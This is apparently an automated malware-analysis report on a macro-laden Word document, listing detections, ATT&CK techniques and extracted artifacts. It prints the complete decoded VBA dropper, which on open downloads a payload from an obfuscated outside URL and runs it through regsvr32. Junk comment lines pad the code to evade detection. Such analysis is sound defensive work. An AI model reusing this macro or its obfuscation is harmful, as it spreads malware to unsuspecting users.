MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample is a malicious OOXML document containing a VBA macro. The AutoOpen subroutine is triggered upon opening, which then calls URLDownloadToFile to download and execute a second-stage payload. The script attempts to execute 'regsvr32' with a dynamically constructed argument, likely to load and run a malicious DLL.
Heuristics 5
-
ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" ( _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "H" Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4386 bytes |
SHA-256: 6d60c6012a6963e2f09cfcea602631fa5afbbc38e4719da91c04ac173c987d76 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "H"
Sub AutoOpen()
' Empirical resonance
' Os unknown piston bombard
' Complimentary waltz adjacent trucks treacle
' Medical carlos starter
' Amazon branches rood handjob covered postmaster
Dim TT As New QS
' Skirt embedded classroom filters documented molten
' Assists symantec true filly
' Embody racial unique
TT.s qF(0), qF(1)
' Equitable unlimited parenting throwed smug
' Neighborhood canister
' Quantity
' Point saber portsmouth vim distributions
Dim ZF As New X
' Genetics ergo ignominy afghanistan screw
' Earshot affair pegasus priestly
' Rye years
' Parties dynamic extravagantly come
' Ft just escort advocating
' Carriers
' Hugo
' Reunion elite
' Stunt conf transplant rivulet
' Ejaculation correlation elderly
' Imported designated filter reply
' Baptize aboriginal submission
' Radical healing beginners conserve rubicon ar
' Sagacious igneous circuits purposes
' Crabs solomon
ZF.TU "regsvr" & 32 & " " & qF(1)
End Sub
Attribute VB_Name = "QS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()
' Wedlock private
' Separable develop tourists penguin amassed fatty
' Peripheral transform
' Nightingale lithuania indigence burns
' Ink
End Sub
Private Sub Class_Terminate()
' Cum businesses racial cyprus projectile
' Airing seq scanners
End Sub
Public Sub s(Bs, Q8)
' Cnn iceland purchasing
' Sell nitrogen
' Nevermore sniff cabriolet
' Benin hansom
' Demented bdsm lithuania vom
' Incredible sacrilege deficit signup
' Leinster adown peas ursula cornet intercede advertisements
URLDownloadToFile 0, Bs, Q8, 0, 0
End Sub
Attribute VB_Name = "X"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function TU(o5)
' Accreditation burman didactic
' Dandelion augmentation alexander switches sites unfashionable
' Marl
' Edict short-lived
Dim TZ As New WshShell
TZ.exec o5
End Function
Function I(SL)
' Cash
' Said lyre addressing
' Html taxi super
End Function
Attribute VB_Name = "H1"
Public Const Mj As String = "$$$"
Public Const T As String = "###"
Function qF(T4)
' Alexander pervert dual cars unacceptable acclaimed
' Banging consults magic
' Autem diocese championships carriers environs seraglio
Dim ar1(10)
ar1(0) = "h###t###t###p###:###/###/###a###"
ar1(1) = "m###g###v###g###r###l###m###2###"
ar1(2) = "w###4###1###l###2###l###t###3###"
ar1(3) = "7###3###.###c###o###m###/###h###"
ar1(4) = "d###i###l###/###k###z###e###x###"
ar1(5) = ".###p###h###p###?###l###=###p###"
ar1(6) = "h###i###n###6###.###c###a###b###"
ar1(7) = "$###$###$###c###:###\###p###r###"
ar1(8) = "o###g###r###a###m###d###a###t###"
ar1(9) = "a###\###6###7###3###9###5###6###"
ar1(10) = "9###2###.###d###a###t###"
' Seed specializing hereupon
' Antigua ph.d. physical authority
' Enterprise ebony differently zone preoccupation
' Evade
If T4 = 0 Then
FC = Replace(Join(ar1, ""), T, vbNullString)
FX = Split(FC, Mj)
qF = FX(0)
ElseIf T4 = 1 Then
FC = Replace(Join(ar1, ""), T, vbNullString)
FX = Split(FC, Mj)
qF = FX(1)
End If
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 26112 bytes |
SHA-256: d546d161a6f79ad066fbc35a620f352957efcab135f73d700c070d659f939ab6 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.